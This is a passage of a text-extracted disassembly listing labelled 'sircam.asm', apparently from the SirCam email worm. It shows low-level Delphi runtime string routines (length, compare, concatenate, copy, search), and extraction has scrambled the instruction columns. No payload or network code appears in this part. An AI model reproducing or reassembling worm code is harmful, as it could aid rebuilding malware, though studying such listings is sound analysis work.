ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_403670 proc near sub_403670 push mov mov call pop retn endp ; CODE XREF: sub_409024+8F\031p ; sub_409024+188\031p ... edx edx, esp ecx, 1 sub_4035B0 edx ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_403680 proc near xor test jz push ; CODE XREF: sub_404B80+48\031p ; sub_408234+111\031p ... ecx, ecx edx, edx short loc_4036A7 edx loc_403687: ; CODE XREF: sub_403680+1D\031j cmp cl, [edx] jz short loc_4036A2 cmp cl, [edx+1] jz short loc_4036A1 cmp cl, [edx+2] jz short loc_4036A0 cmp cl, [edx+3] jz short loc_40369F add edx, 4 jmp short loc_403687 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40369F: ; CODE XREF: sub_403680+18\030j inc edx inc edx loc_4036A0: ; CODE XREF: sub_403680+13\030j sircam.asm Fri Aug 10 12:42:44 2001 loc_4036A1: ; CODE XREF: sub_403680+E\030j inc edx mov pop sub ecx, edx edx ecx, edx jmp endp sub_4035B0 loc_4036A2: ; CODE XREF: sub_403680+9\030j loc_4036A7: sub_403680 81 ; CODE XREF: sub_403680+4\030j ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 loc_4036B0: ; DATA XREF: CODE:004079EE\031o xor test jz push ecx, ecx edx, edx short loc_4036E3 edx loc_4036B7: ; CODE XREF: CODE:004036D1\031j cmp cx, [edx] jz short loc_4036DC cmp cx, [edx+2] jz short loc_4036D9 cmp cx, [edx+4] jz short loc_4036D6 cmp cx, [edx+6] jz short loc_4036D3 add edx, 8 jmp short loc_4036B7 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_4036D3: ; CODE XREF: CODE:004036CC\030j add edx, 2 add edx, 2 add edx, 2 mov pop sub shr ecx, edx edx ecx, edx ecx, 1 loc_4036D6: ; CODE XREF: CODE:004036C6\030j loc_4036D9: ; CODE XREF: CODE:004036C0\030j loc_4036DC: ; CODE XREF: CODE:004036BA\030j loc_4036E3: ; CODE XREF: CODE:004036B4\030j jmp loc_4035E0 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_4036EC proc near sub_4036EC xor mov inc jmp endp ; CODE XREF: sub_40C560+3C\031p ; sub_40C63C+38\031p ... ecx, ecx cl, [edx] edx sub_4035B0 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ sircam.asm Fri Aug 10 12:42:44 2001 82 retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_4036F8 proc near ; CODE XREF: sub_4071E0+58\031p ; sub_408234+98\031p ... push edi push eax push ecx mov edi, edx xor eax, eax repne scasb jnz short loc_403705 not ecx loc_403705: sub_4036F8 ; CODE XREF: sub_4036F8+9\030j pop add pop pop jmp endp eax ecx, eax eax edi sub_4035B0 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_403710: ; DATA XREF: CODE:004079F5\031o ; CODE:00407A08\031r xor test jz mov shr ecx, ecx edx, edx short loc_40371B ecx, [edx-4] ecx, 1 loc_40371B: ; CODE XREF: CODE:00403714\030j jmp loc_4035E0 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_403724 proc near test jz mov eax, eax short locret_40372B eax, [eax-4] locret_40372B: sub_403724 ; CODE XREF: sub_403F9C+E\031p ; sub_403F9C+17\031p ... ; CODE XREF: sub_403724+2\030j retn endp ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_40372C proc near test jz mov test jz push ; CODE XREF: sub_403770+1D\031j ; sub_403770+6E\031j ... edx, edx short locret_40376F ecx, [eax] ecx, ecx sub_40351C ebx sircam.asm Fri Aug 10 12:42:44 2001 push push mov mov mov mov add cmp jz call mov mov 83 esi edi ebx, eax esi, edx edi, [ecx-4] edx, [esi-4] edx, edi esi, ecx short loc_403764 sub_4039FC eax, esi ecx, [esi-4] loc_403757: ; CODE XREF: sub_40372C+41\031j mov edx, [ebx] add edx, edi call sub_4026B0 pop edi pop esi pop ebx retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_403764: ; CODE XREF: sub_40372C+1F\030j call sub_4039FC mov eax, [ebx] mov ecx, edi jmp short loc_403757 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ locret_40376F: sub_40372C ; CODE XREF: sub_40372C+2\030j retn endp ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_403770 proc near ; CODE XREF: sub_407324+5C\031p ; sub_40F3B4+A5\031p ... test edx, edx jz short loc_4037D5 test ecx, ecx jz sub_40351C cmp edx, [eax] jz short loc_4037DC cmp ecx, [eax] jz short loc_403792 push eax push ecx call sub_40351C pop edx pop eax jmp sub_40372C ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_403792: ; CODE XREF: sub_403770+12\030j push push push mov mov push mov add call mov mov mov mov ebx esi edi ebx, edx esi, ecx eax eax, [ebx-4] eax, [esi-4] sub_40358C edi, eax edx, eax eax, ebx ecx, [ebx-4] sircam.asm Fri Aug 10 12:42:44 2001 call mov mov mov add call pop mov test jz dec 84 sub_4026B0 edx, edi eax, esi ecx, [esi-4] edx, [ebx-4] sub_4026B0 eax edx, edi edi, edi short loc_4037CC dword ptr [edi-8] loc_4037CC: ; CODE XREF: sub_403770+57\030j call sub_40351C pop edi pop esi pop ebx retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_4037D5: ; CODE XREF: sub_403770+2\030j mov edx, ecx jmp sub_40351C ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_4037DC: sub_403770 ; CODE XREF: sub_403770+E\030j mov jmp endp edx, ecx sub_40372C ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ retn ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_4037E4 proc near arg_0 = byte ptr ; CODE XREF: sub_40A020+27B\031p ; sub_40A020+298\031p ... 14h push push push push mov xor ebx esi edx eax ebx, edx eax, eax mov test jz add ; CODE XREF: sub_4037E4+14\031j ecx, [esp+edx*4+10h] ecx, ecx short loc_4037F7 eax, [ecx-4] dec jnz call push mov edx short loc_4037EC sub_40358C eax esi, eax mov mov test jz mov add call ; CODE XREF: sub_4037E4+33\031j eax, [esp+ebx*4+14h] edx, esi eax, eax short loc_403816 ecx, [eax-4] esi, ecx sub_4026B0 loc_4037EC: loc_4037F7: ; CODE XREF: sub_4037E4+E\030j loc_403802: sircam.asm Fri Aug 10 12:42:44 2001 loc_403816: dec jnz pop pop test jz dec loc_403822: sub_4037E4 call pop pop pop pop lea jmp endp 85 ; CODE XREF: sub_4037E4+26\030j ebx short loc_403802 edx eax edx, edx short loc_403822 dword ptr [edx-8] ; CODE XREF: sub_4037E4+39\030j sub_40351C edx esi ebx eax esp, [esp+edx*4+0FFFFFFECh+arg_0] eax ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_403834 proc near push push push mov mov cmp jz test jz test jz mov mov sub ja add ebx esi edi esi, eax edi, edx eax, edx loc_4038D2 esi, esi short loc_4038AF edi, edi short loc_4038B6 eax, [esi-4] edx, [edi-4] eax, edx short loc_403857 edx, eax push shr jz edx edx, 2 short loc_403883 ; CODE XREF: sub_40C960+6B\031p ; sub_40F998+8B\031p ... loc_403857: ; CODE XREF: sub_403834+1F\030j loc_40385D: ; CODE XREF: sub_403834+45\031j mov ecx, [esi] mov ebx, [edi] cmp ecx, ebx jnz short loc_4038BD dec edx jz short loc_40387D mov ecx, [esi+4] mov ebx, [edi+4] cmp ecx, ebx jnz short loc_4038BD add esi, 8 add edi, 8 dec edx jnz short loc_40385D jmp short loc_403883 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40387D: ; CODE XREF: sub_403834+32\030j sircam.asm Fri Aug 10 12:42:44 2001 add add 86 esi, 4 edi, 4 loc_403883: ; CODE XREF: sub_403834+27\030j ; sub_403834+47\030j pop and jz mov mov cmp jnz dec jz cmp jnz dec jz and and cmp jnz edx edx, 3 short loc_4038AB ecx, [esi] ebx, [edi] cl, bl short loc_4038D2 edx short loc_4038AB ch, bh short loc_4038D2 edx short loc_4038AB ebx, 0FF0000h ecx, 0FF0000h ecx, ebx short loc_4038D2 loc_4038AB: ; CODE XREF: sub_403834+53\030j ; sub_403834+5E\030j ... add eax, eax jmp short loc_4038D2 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_4038AF: ; CODE XREF: sub_403834+11\030j mov edx, [edi-4] sub eax, edx jmp short loc_4038D2 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_4038B6: ; CODE XREF: sub_403834+15\030j mov eax, [esi-4] sub eax, edx jmp short loc_4038D2 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_4038BD: ; CODE XREF: sub_403834+2F\030j ; sub_403834+3C\030j pop cmp jnz cmp jnz shr shr cmp jnz cmp edx cl, bl short loc_4038D2 ch, bh short loc_4038D2 ecx, 10h ebx, 10h cl, bl short loc_4038D2 ch, bh loc_4038D2: sub_403834 ; CODE XREF: sub_403834+9\030j ; sub_403834+5B\030j ... pop pop pop retn endp edi esi ebx ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_4038D8 proc near ; CODE XREF: sub_40EDA4+1E\031p ; sub_40F230+20\031p ... sircam.asm Fri Aug 10 12:42:44 2001 87 test eax, eax jz short locret_4038E6 mov edx, [eax-8] inc edx jle short locret_4038E6 lock inc dword ptr [eax-8] locret_4038E6: sub_4038D8 ; CODE XREF: sub_4038D8+2\030j ; sub_4038D8+8\030j retn endp ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_4038E8 proc near ; CODE XREF: sub_403F9C+30\031p ; sub_406E64+10\031p ... test eax, eax jz short loc_4038EE retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ byte_4038ED db 0 ; DATA XREF: sub_4038E8+6\031o ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_4038EE: sub_4038E8 mov retn endp ; CODE XREF: sub_4038E8+2\030j eax, offset byte_4038ED ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_4038F4 proc near ; CODE XREF: sub_40396C+9\031p ; sub_40DEB0+25\031p ... mov edx, [eax] test edx, edx jz short loc_403926 mov ecx, [edx-8] dec ecx jz short loc_403926 push ebx mov ebx, eax mov eax, [edx-4] call sub_40358C mov edx, eax mov eax, [ebx] mov [ebx], edx mov ecx, [eax-8] dec ecx jl short loc_40391B lock dec dword ptr [eax-8] loc_40391B: ; CODE XREF: sub_4038F4+21\030j mov call mov pop ecx, [eax-4] sub_4026B0 edx, [ebx] ebx loc_403926: sub_4038F4 ; CODE XREF: sub_4038F4+4\030j ; sub_4038F4+A\030j mov retn endp eax, edx ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 sircam.asm Fri Aug 10 12:42:44 2001 88 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_40392C proc near arg_0 = dword ptr ; CODE XREF: sub_406E9C+43\031p ; sub_406EEC+28\031p ... 8 push test jz mov test jz dec jl cmp jge ebx eax, eax short loc_40395E ebx, [eax-4] ebx, ebx short loc_40395E edx short loc_403956 edx, ebx short loc_40395E sub test jl cmp jg ebx, edx ecx, ecx short loc_40395E ecx, ebx short loc_40395A loc_40393F: ; CODE XREF: sub_40392C+2C\031j loc_403949: ; CODE XREF: sub_40392C+30\031j add edx, eax mov eax, [esp+arg_0] call sub_4035B0 jmp short loc_403967 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_403956: ; CODE XREF: sub_40392C+D\030j xor edx, edx jmp short loc_40393F ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40395A: ; CODE XREF: sub_40392C+1B\030j mov ecx, ebx jmp short loc_403949 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40395E: ; CODE XREF: sub_40392C+3\030j ; sub_40392C+A\030j ... mov call eax, [esp+arg_0] sub_4034C8 pop retn endp ebx 4 loc_403967: sub_40392C ; CODE XREF: sub_40392C+28\030j ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ retn ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_40396C proc near push push push mov mov mov call mov ebx esi edi ebx, eax esi, edx edi, ecx sub_4038F4 edx, [ebx] ; CODE XREF: sub_40E7C8+47\031p ; sub_40FCF0+137\031p ... sircam.asm Fri Aug 10 12:42:44 2001 test jz mov dec jl cmp jge test jle sub cmp jle mov edx, edx short loc_4039B0 ecx, [edx-4] esi short loc_4039B0 esi, ecx short loc_4039B0 edi, edi short loc_4039B0 ecx, esi edi, ecx short loc_403996 edi, ecx sub add lea call mov mov mov sub call ecx, edi edx, esi eax, [edx+edi] sub_4026B0 edx, [ebx] eax, ebx edx, [edx-4] edx, edi sub_4039FC loc_403996: ; CODE XREF: sub_40396C+26\030j loc_4039B0: sub_40396C 89 ; CODE XREF: sub_40396C+12\030j ; sub_40396C+18\030j ... pop pop pop retn endp edi esi ebx ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_4039B4 proc near test jz test jz push push push mov mov mov push mov dec js mov inc sub jle ; CODE XREF: sub_40FCF0+EC\031p ; sub_40FCF0+18A\031p ... eax, eax short locret_4039F8 edx, edx short loc_4039ED ebx esi edi esi, eax edi, edx ecx, [edi-4] edi edx, [esi-4] edx short loc_4039E8 al, [esi] esi ecx, edx short loc_4039E8 loc_4039D4: ; CODE XREF: sub_4039B4+32\031j repne scasb jnz short loc_4039E8 mov ebx, ecx push esi push edi mov ecx, edx repe cmpsb pop edi pop esi jz short loc_4039F0 mov ecx, ebx sircam.asm Fri Aug 10 12:42:44 2001 90 jmp short loc_4039D4 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_4039E8: ; CODE XREF: sub_4039B4+17\030j ; sub_4039B4+1E\030j ... pop edx xor eax, eax jmp short loc_4039F5 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_4039ED: ; CODE XREF: sub_4039B4+6\030j xor eax, eax retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_4039F0: ; CODE XREF: sub_4039B4+2E\030j pop mov sub edx eax, edi eax, edx pop pop pop edi esi ebx loc_4039F5: ; CODE XREF: sub_4039B4+37\030j locret_4039F8: sub_4039B4 ; CODE XREF: sub_4039B4+2\030j retn endp ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_4039FC proc near ; CODE XREF: sub_40372C+21\030p ; sub_40372C+38\030p ... push ebx push esi push edi mov ebx, eax mov esi, edx xor edi, edi test edx, edx jz short loc_403A51 mov eax, [ebx] test eax, eax jz short loc_403A32 cmp dword ptr [eax-8], 1 jnz short loc_403A32 sub eax, 8 add edx, 9 push eax mov eax, esp call sub_4025C8 pop eax add eax, 8 mov [ebx], eax mov [eax-4], esi mov byte ptr [eax+esi], 0 jmp short loc_403A5A ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_403A32: ; CODE XREF: sub_4039FC+11\030j ; sub_4039FC+17\030j mov call mov mov test eax, edx sub_40358C edi, eax eax, [ebx] eax, eax sircam.asm Fri Aug 10 12:42:44 2001 jz mov mov cmp jl mov short loc_403A51 edx, edi ecx, [eax-4] ecx, esi short loc_403A4C ecx, esi call sub_4026B0 loc_403A4C: ; CODE XREF: sub_4039FC+4C\030j loc_403A51: ; CODE XREF: sub_4039FC+B\030j ; sub_4039FC+43\030j mov call mov eax, ebx sub_4034C8 [ebx], edi pop pop pop retn endp edi esi ebx loc_403A5A: sub_4039FC 91 ; CODE XREF: sub_4039FC+34\030j ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E 